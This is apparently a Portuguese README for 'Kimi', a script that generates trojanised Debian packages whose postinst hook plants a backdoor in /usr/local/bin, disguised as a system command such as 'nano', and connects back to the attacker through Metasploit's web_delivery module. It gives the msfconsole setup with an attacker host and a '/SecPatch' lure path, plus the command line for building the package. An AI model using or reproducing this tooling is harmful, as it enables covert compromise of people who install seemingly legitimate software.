Kimi é um nome inspirado em "Kimimaro", um dos meus personagens favoritos do anime chamado "Naruto".

Kimi é um script que gera pacotes Debian maliciosos para o Metasploit, que consiste em um arquivo bash. O arquivo bash é implantado no diretório "/usr/local/bin/".

O backdoor é executado exatamente quando a vítima tenta instalar o pacote deb devido ao arquivo postinst.

O arquivo bash injeta e também funciona como algum comando do sistema que, quando executado pela vítima e o atacante atinge com a sessão.

Pontos positivos :
-- Totalmente independente. Significa que o usuário não precisa instalar nenhum criador de pacotes Debian.
-- Pode ser integrado facilmente com qualquer gerador de payload devido ao uso de argumentos (bobo :P eu sei).

Kimi basicamente depende do módulo web_delivery e tudo é automatizado. Tudo o que o atacante precisa fazer é as seguintes configurações :

Configurando Web_Delivery no msf :

msf > use exploit/multi/script/web_delivery
msf exploit(web_delivery) > set srvhost 192.168.0.102
srvhost => 192.168.0.102
msf exploit(web_delivery) > set uripath /SecPatch
uripath => /SecPatch
msf exploit(web_delivery) > set Lhost 192.168.0.102
Lhost => 192.168.0.102
msf exploit(web_delivery) > show options
msf exploit(web_delivery) > exploit

Gerando payload malicioso :

dreamer@mindless ~/Desktop/projects/kimi $ sudo python kimi.py -n nano -l 127.0.0.1 -V 1.0 -a i386

NOTA :: Este projeto foi feito para ser integrado com o Venom Shellcode Generator 1.0.13.
Ele pode ser usado de forma independente também, tudo que o usuário precisa é alterar o uripath nas variáveis do msf.
-------------------------------------------------------------------------------------

Testado em :
            Linux Mint 17.2 Cinnamon (Ubuntu 14.04) 
            ParrotOS (Debian Jessie)
            Kali Rolling 2.0